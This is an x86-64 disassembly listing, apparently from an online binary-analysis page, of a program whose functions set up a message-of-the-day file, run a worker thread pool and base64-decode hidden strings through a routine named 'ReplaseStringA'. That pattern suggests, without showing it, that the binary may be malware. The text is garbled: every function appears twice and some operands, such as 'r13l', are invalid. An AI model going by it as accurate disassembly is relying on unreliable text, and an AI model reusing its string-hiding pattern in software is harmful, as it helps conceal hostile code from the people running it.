0040d585call puts@plt
0040d58a
0040d58aloc_40d58a:
0040d58anop
0040d58b
0040d58bloc_40d58b:
0040d58bleave
0040d58cret
0040d468
0040d58d
0040d58dSetupMotd:
0040d58dpush rbp
0040d58emov rbp, rsp
0040d591sub rsp, 32
0040d595mov edx, 0x40f54a
0040d59amov eax, 0x40f636
0040d59fmov rsi, rdx
0040d5a2mov rdi, rax
0040d5a5call fopen@plt
0040d5aamov [rbp-8], rax
0040d5aecmp [rbp-8], 0
0040d5b3je 0x40d609
0040d5b5mov rax, [rip+0x20345c]
0040d5bcmov [rbp-24], -1
0040d5c4mov rdx, rax
0040d5c7mov eax, 0
0040d5ccmov rcx, [rbp-24]
0040d5d0mov rdi, rdx
0040d5d3repne scasb [rdi], al
0040d5d5mov rax, rcx
0040d5d8not rax
0040d5dblea rsi, [rax-1]
0040d5dfmov rax, [rip+0x203432]
0040d5e6mov rdx, [rbp-8]
0040d5eamov rcx, rdx
0040d5edmov rdx, rsi
0040d5f0mov esi, 1
0040d5f5mov rdi, rax
0040d5f8call fwrite@plt
0040d5fdmov rax, [rbp-8]
0040d601mov rdi, rax
0040d604call fclose@plt
0040d609
0040d609loc_40d609:
0040d609leave
0040d60aret
0040d58d
0040d58dSetupMotd:
0040d58dpush rbp
0040d58emov rbp, rsp
0040d591sub rsp, 32
0040d595mov edx, 0x40f54a
0040d59amov eax, 0x40f636
0040d59fmov rsi, rdx
0040d5a2mov rdi, rax
0040d5a5call fopen@plt
0040d5aamov [rbp-8], rax
0040d5aecmp [rbp-8], 0
0040d5b3je 0x40d609
0040d5b5mov rax, [rip+0x20345c]
0040d5bcmov [rbp-24], -1
0040d5c4mov rdx, rax
0040d5c7mov eax, 0
0040d5ccmov rcx, [rbp-24]
0040d5d0mov rdi, rdx
0040d5d3repne scasb [rdi], al
0040d5d5mov rax, rcx
0040d5d8not rax
0040d5dblea rsi, [rax-1]
0040d5dfmov rax, [rip+0x203432]
0040d5e6mov rdx, [rbp-8]
0040d5eamov rcx, rdx
0040d5edmov rdx, rsi
0040d5f0mov esi, 1
0040d5f5mov rdi, rax
0040d5f8call fwrite@plt
0040d5fdmov rax, [rbp-8]
0040d601mov rdi, rax
0040d604call fclose@plt
0040d609
0040d609loc_40d609:
0040d609leave
0040d60aret
0040d58d
0040d60b
0040d60bPrepareThreads:
0040d60bpush rbp
0040d60cmov rbp, rsp
0040d60fsub rsp, 16
0040d613mov edi, 84
0040d618call sysconf@plt
0040d61dadd eax, eax
0040d61fmov [rbp-8], eax
0040d622mov eax, [rbp-8]
0040d625movzx eax, ax
0040d628mov edi, eax
0040d62acall queue_create_limited
0040d62fmov [rip+0x2033d2], rax
0040d636mov eax, [rbp-8]
0040d639cdqe
0040d63bshl rax, 3
0040d63fmov rdi, rax
0040d642call malloc@plt
0040d647mov [rip+0x2033fa], rax
0040d64emov [rbp-4], 0
0040d655jmp 0x40d689
0040d657
0040d657loc_40d657:
0040d657mov rax, [rip+0x2033ea]
0040d65emov edx, [rbp-4]
0040d661movsxd rdx, edx
0040d664shl rdx, 3
0040d668add rax, rdx
0040d66bmov ecx, 0
0040d670mov edx, 0x40c2f0
0040d675mov esi, 0
0040d67amov rdi, rax
0040d67dcall pthread_create@plt
0040d682mov [rbp-12], eax
0040d685add [rbp-4], 1
0040d689
0040d689loc_40d689:
0040d689mov eax, [rbp-4]
0040d68ccmp eax, [rbp-8]
0040d68fjl 0x40d657
0040d691leave
0040d692ret
0040d60b
0040d60bPrepareThreads:
0040d60bpush rbp
0040d60cmov rbp, rsp
0040d60fsub rsp, 16
0040d613mov edi, 84
0040d618call sysconf@plt
0040d61dadd eax, eax
0040d61fmov [rbp-8], eax
0040d622mov eax, [rbp-8]
0040d625movzx eax, ax
0040d628mov edi, eax
0040d62acall queue_create_limited
0040d62fmov [rip+0x2033d2], rax
0040d636mov eax, [rbp-8]
0040d639cdqe
0040d63bshl rax, 3
0040d63fmov rdi, rax
0040d642call malloc@plt
0040d647mov [rip+0x2033fa], rax
0040d64emov [rbp-4], 0
0040d655jmp 0x40d689
0040d657
0040d657loc_40d657:
0040d657mov rax, [rip+0x2033ea]
0040d65emov edx, [rbp-4]
0040d661movsxd rdx, edx
0040d664shl rdx, 3
0040d668add rax, rdx
0040d66bmov ecx, 0
0040d670mov edx, 0x40c2f0
0040d675mov esi, 0
0040d67amov rdi, rax
0040d67dcall pthread_create@plt
0040d682mov [rbp-12], eax
0040d685add [rbp-4], 1
0040d689
0040d689loc_40d689:
0040d689mov eax, [rbp-4]
0040d68ccmp eax, [rbp-8]
0040d68fjl 0x40d657
0040d691leave
0040d692ret
0040d60b
0040d693
0040d693WaitForThreads:
0040d693push rbp
0040d694mov rbp, rsp
0040d697sub rsp, 16
0040d69bmov edi, 84
0040d6a0call sysconf@plt
0040d6a5add eax, eax
0040d6a7mov [rbp-8], eax
0040d6aamov [rbp-4], 0
0040d6b1jmp 0x40d6cb
0040d6b3
0040d6b3loc_40d6b3:
0040d6b3mov rax, [rip+0x20334e]
0040d6bamov esi, 0
0040d6bfmov rdi, rax
0040d6c2call queue_put_wait
0040d6c7add [rbp-4], 1
0040d6cb
0040d6cbloc_40d6cb:
0040d6cbmov eax, [rbp-4]
0040d6cecmp eax, [rbp-8]
0040d6d1jl 0x40d6b3
0040d6d3mov [rbp-4], 0
0040d6dajmp 0x40d704
0040d6dc
0040d6dcloc_40d6dc:
0040d6dcmov rax, [rip+0x203365]
0040d6e3mov edx, [rbp-4]
0040d6e6movsxd rdx, edx
0040d6e9shl rdx, 3
0040d6edadd rax, rdx
0040d6f0mov rax, [rax]
0040d6f3mov esi, 0
0040d6f8mov rdi, rax
0040d6fbcall pthread_join@plt
0040d700add [rbp-4], 1
0040d704
0040d704loc_40d704:
0040d704mov eax, [rbp-4]
0040d707cmp eax, [rbp-8]
0040d70ajl 0x40d6dc
0040d70cleave
0040d70dret
0040d693
0040d693WaitForThreads:
0040d693push rbp
0040d694mov rbp, rsp
0040d697sub rsp, 16
0040d69bmov edi, 84
0040d6a0call sysconf@plt
0040d6a5add eax, eax
0040d6a7mov [rbp-8], eax
0040d6aamov [rbp-4], 0
0040d6b1jmp 0x40d6cb
0040d6b3
0040d6b3loc_40d6b3:
0040d6b3mov rax, [rip+0x20334e]
0040d6bamov esi, 0
0040d6bfmov rdi, rax
0040d6c2call queue_put_wait
0040d6c7add [rbp-4], 1
0040d6cb
0040d6cbloc_40d6cb:
0040d6cbmov eax, [rbp-4]
0040d6cecmp eax, [rbp-8]
0040d6d1jl 0x40d6b3
0040d6d3mov [rbp-4], 0
0040d6dajmp 0x40d704
0040d6dc
0040d6dcloc_40d6dc:
0040d6dcmov rax, [rip+0x203365]
0040d6e3mov edx, [rbp-4]
0040d6e6movsxd rdx, edx
0040d6e9shl rdx, 3
0040d6edadd rax, rdx
0040d6f0mov rax, [rax]
0040d6f3mov esi, 0
0040d6f8mov rdi, rax
0040d6fbcall pthread_join@plt
0040d700add [rbp-4], 1
0040d704
0040d704loc_40d704:
0040d704mov eax, [rbp-4]
0040d707cmp eax, [rbp-8]
0040d70ajl 0x40d6dc
0040d70cleave
0040d70dret
0040d693
0040d70e
0040d70eDecodeStrings:
0040d70epush rbp
0040d70fmov rbp, rsp
0040d712sub rsp, 32
0040d716mov rax, [rip+0x20327b]
0040d71dmov [rbp-24], -1
0040d725mov rdx, rax
0040d728mov eax, 0
0040d72dmov rcx, [rbp-24]
0040d731mov rdi, rdx
0040d734repne scasb [rdi], al
0040d736mov rax, rcx
0040d739not rax
0040d73csub rax, 1
0040d740shr rax, 2
0040d744mov edx, eax
0040d746mov eax, edx
0040d748add eax, eax
0040d74aadd eax, edx
0040d74cmov eax, eax
0040d74emov rdi, rax
0040d751call malloc@plt
0040d756mov [rip+0x2032bb], rax
0040d75dmov rsi, [rip+0x2032b4]
0040d764mov rax, [rip+0x20322d]
0040d76bmov [rbp-24], -1
0040d773mov rdx, rax
0040d776mov eax, 0
0040d77bmov rcx, [rbp-24]
0040d77fmov rdi, rdx
0040d782repne scasb [rdi], al
0040d784mov rax, rcx
0040d787not rax
0040d78asub rax, 1
0040d78emov ecx, eax
0040d790mov rax, [rip+0x203201]
0040d797mov rdx, rsi
0040d79amov esi, ecx
0040d79cmov rdi, rax
0040d79fcall base64_decode
0040d7a4mov [rbp-4], eax
0040d7a7mov rdx, [rip+0x20326a]
0040d7aemov eax, [rbp-4]
0040d7b1cdqe
0040d7b3add rax, rdx
0040d7b6mov [rax], 0
0040d7b9mov rdx, [rip+0x2031f0]
0040d7c0mov rax, [rip+0x203251]
0040d7c7mov esi, 0x40f640
0040d7ccmov rdi, rax
0040d7cfcall ReplaseStringA
0040d7d4mov [rip+0x20323d], rax
0040d7dbmov edi, 32
0040d7e0call malloc@plt
0040d7e5mov [rip+0x203224], rax
0040d7ecmov rsi, [rip+0x20321d]
0040d7f3mov rax, [rip+0x2031a6]
0040d7famov [rbp-24], -1
0040d802mov rdx, rax
0040d805mov eax, 0
0040d80amov rcx, [rbp-24]
0040d80emov rdi, rdx
0040d811repne scasb [rdi], al
0040d813mov rax, rcx
0040d816not rax
0040d819sub rax, 1
0040d81dmov ecx, eax
0040d81fmov rax, [rip+0x20317a]
0040d826mov rdx, rsi
0040d829mov esi, ecx
0040d82bmov rdi, rax
0040d82ecall base64_decode
0040d833mov eax, 1
0040d838leave
0040d839ret
0040d70e
0040d70eDecodeStrings:
0040d70epush rbp
0040d70fmov rbp, rsp
0040d712sub rsp, 32
0040d716mov rax, [rip+0x20327b]
0040d71dmov [rbp-24], -1
0040d725mov rdx, rax
0040d728mov eax, 0
0040d72dmov rcx, [rbp-24]
0040d731mov rdi, rdx
0040d734repne scasb [rdi], al
0040d736mov rax, rcx
0040d739not rax
0040d73csub rax, 1
0040d740shr rax, 2
0040d744mov edx, eax
0040d746mov eax, edx
0040d748add eax, eax
0040d74aadd eax, edx
0040d74cmov eax, eax
0040d74emov rdi, rax
0040d751call malloc@plt
0040d756mov [rip+0x2032bb], rax
0040d75dmov rsi, [rip+0x2032b4]
0040d764mov rax, [rip+0x20322d]
0040d76bmov [rbp-24], -1
0040d773mov rdx, rax
0040d776mov eax, 0
0040d77bmov rcx, [rbp-24]
0040d77fmov rdi, rdx
0040d782repne scasb [rdi], al
0040d784mov rax, rcx
0040d787not rax
0040d78asub rax, 1
0040d78emov ecx, eax
0040d790mov rax, [rip+0x203201]
0040d797mov rdx, rsi
0040d79amov esi, ecx
0040d79cmov rdi, rax
0040d79fcall base64_decode
0040d7a4mov [rbp-4], eax
0040d7a7mov rdx, [rip+0x20326a]
0040d7aemov eax, [rbp-4]
0040d7b1cdqe
0040d7b3add rax, rdx
0040d7b6mov [rax], 0
0040d7b9mov rdx, [rip+0x2031f0]
0040d7c0mov rax, [rip+0x203251]
0040d7c7mov esi, 0x40f640
0040d7ccmov rdi, rax
0040d7cfcall ReplaseStringA
0040d7d4mov [rip+0x20323d], rax
0040d7dbmov edi, 32
0040d7e0call malloc@plt
0040d7e5mov [rip+0x203224], rax
0040d7ecmov rsi, [rip+0x20321d]
0040d7f3mov rax, [rip+0x2031a6]
0040d7famov [rbp-24], -1
0040d802mov rdx, rax
0040d805mov eax, 0
0040d80amov rcx, [rbp-24]
0040d80emov rdi, rdx
0040d811repne scasb [rdi], al
0040d813mov rax, rcx
0040d816not rax
0040d819sub rax, 1
0040d81dmov ecx, eax
0040d81fmov rax, [rip+0x20317a]
0040d826mov rdx, rsi
0040d829mov esi, ecx
0040d82bmov rdi, rax
0040d82ecall base64_decode
0040d833mov eax, 1
0040d838leave
0040d839ret
0040d70e
0040d83a
0040d83a // align 0x10
0040d83a // align 0x10
0040d842
0040d842 // align 0x10
0040d842 // align 0x10
0040d850
0040d850__libc_csu_init:
0040d850mov [rsp-40], rbp
0040d855mov [rsp-32], r12
0040d85alea rbp, [rip+0x202d9b]
0040d861lea r12, [rip+0x202d94]
0040d868mov [rsp-24], r13
0040d86dmov [rsp-16], r14
0040d872mov [rsp-8], r15
0040d877mov [rsp-48], rbx
0040d87csub rsp, 56
0040d880sub rbp, r12
0040d883mov r13l, edi
0040d886mov r14, rsi
0040d889sar rbp, 3
0040d88dmov r15, rdx
0040d890call _init
0040d895test rbp, rbp
0040d898je 0x40d8b6
0040d89axor ebx, ebx
0040d89cnop [rax]
0040d8a0
0040d8a0loc_40d8a0:
0040d8a0mov rdx, r15
0040d8a3mov rsi, r14
0040d8a6mov edi, r13l
0040d8a9call [r12+8*rbx]
0040d8adadd rbx, 1
0040d8b1cmp rbx, rbp
0040d8b4jb 0x40d8a0
0040d8b6
0040d8b6loc_40d8b6:
0040d8b6mov rbx, [rsp+8]
0040d8bbmov rbp, [rsp+16]
0040d8c0mov r12, [rsp+24]
0040d8c5mov r13, [rsp+32]
0040d8camov r14, [rsp+40]
0040d8cfmov r15, [rsp+48]
0040d8d4add rsp, 56
0040d8d8ret
0040d850
0040d850__libc_csu_init:
0040d850mov [rsp-40], rbp
0040d855mov [rsp-32], r12
0040d85alea rbp, [rip+0x202d9b]
0040d861lea r12, [rip+0x202d94]
0040d868mov [rsp-24], r13
0040d86dmov [rsp-16], r14
0040d872mov [rsp-8], r15
0040d877mov [rsp-48], rbx
0040d87csub rsp, 56
0040d880sub rbp, r12
0040d883mov r13l, edi
0040d886mov r14, rsi
0040d889sar rbp, 3
0040d88dmov r15, rdx
0040d890call _init
0040d895test rbp, rbp
0040d898je 0x40d8b6
0040d89axor ebx, ebx
0040d89cnop [rax]
0040d8a0
0040d8a0loc_40d8a0:
0040d8a0mov rdx, r15
0040d8a3mov rsi, r14
0040d8a6mov edi, r13l
0040d8a9call [r12+8*rbx]
0040d8adadd rbx, 1
0040d8b1cmp rbx, rbp
0040d8b4jb 0x40d8a0
0040d8b6
0040d8b6loc_40d8b6:
0040d8b6mov rbx, [rsp+8]
0040d8bbmov rbp, [rsp+16]
0040d8c0mov r12, [rsp+24]
0040d8c5mov r13, [rsp+32]
0040d8camov r14, [rsp+40]
0040d8cfmov r15, [rsp+48]
0040d8d4add rsp, 56
0040d8d8ret
0040d850
0040d8d9
0040d8d9 // align 0x10
0040d8d9 // align 0x10
0040d8e0
0040d8e0__lstat:
0040d8e0mov rdx, rsi
0040d8e3mov rsi, rdi
0040d8e6mov edi, 1
0040d8ebjmp 0x401370
0040d8e0
0040d8e0__lstat:
0040d8e0mov rdx, rsi
0040d8e3mov rsi, rdi
0040d8e6mov edi, 1
0040d8ebjmp 0x401370
0040d8e0
0040d8f0
0040d8f0__do_global_ctors_aux:
0040d8f0push rbp
0040d8f1mov rbp, rsp
0040d8f4push rbx
0040d8f5sub rsp, 8
0040d8f9mov rax, [rip+0x202d00]
0040d900cmp rax, -1
0040d904je 0x40d91f
0040d906mov ebx, 0x610600
0040d90bnop [rax+rax]
0040d910
0040d910loc_40d910:
0040d910sub rbx, 8
0040d914call rax
0040d916mov rax, [rbx]
0040d919cmp rax, -1
0040d91djne 0x40d910
0040d91f
0040d91floc_40d91f:
0040d91fadd rsp, 8
0040d923pop rbx
0040d924pop rbp
0040d925ret
0040d8f0
0040d8f0__do_global_ctors_aux:
0040d8f0push rbp
0040d8f1mov rbp, rsp
0040d8f4push rbx
0040d8f5sub rsp, 8
0040d8f9mov rax, [rip+0x202d00]
0040d900cmp rax, -1
0040d904je 0x40d91f
0040d906mov ebx, 0x610600
0040d90bnop [rax+rax]
0040d910
0040d910loc_40d910:
0040d910sub rbx, 8
0040d914call rax
0040d916mov rax, [rbx]
0040d919cmp rax, -1
0040d91djne 0x40d910
0040d91f
0040d91floc_40d91f:
0040d91fadd rsp, 8
0040d923pop rbx
0040d924pop rbp
0040d925ret
0040d8f0
0040d926
0040d926 90 90 ..
0040d926 90 90 ..
0040d928
0040d928_fini:
0040d928sub rsp, 8
0040d92ccall __do_global_dtors_aux
0040d931add rsp, 8
0040d935ret
0040d928
0040d928_fini:
0040d928sub rsp, 8
0040d92ccall __do_global_dtors_aux
0040d931add rsp, 8
0040d935ret
0040d928
0040d936
0040d936 00 00 00 00 00 00 00 00 00 00 ..........
0040d940
0040d940 string ".rodata"
0040d936 00 00 00 00 00 00 00 00 00 00 ..........
0040d940
0040d940 string ".rodata"
Loading..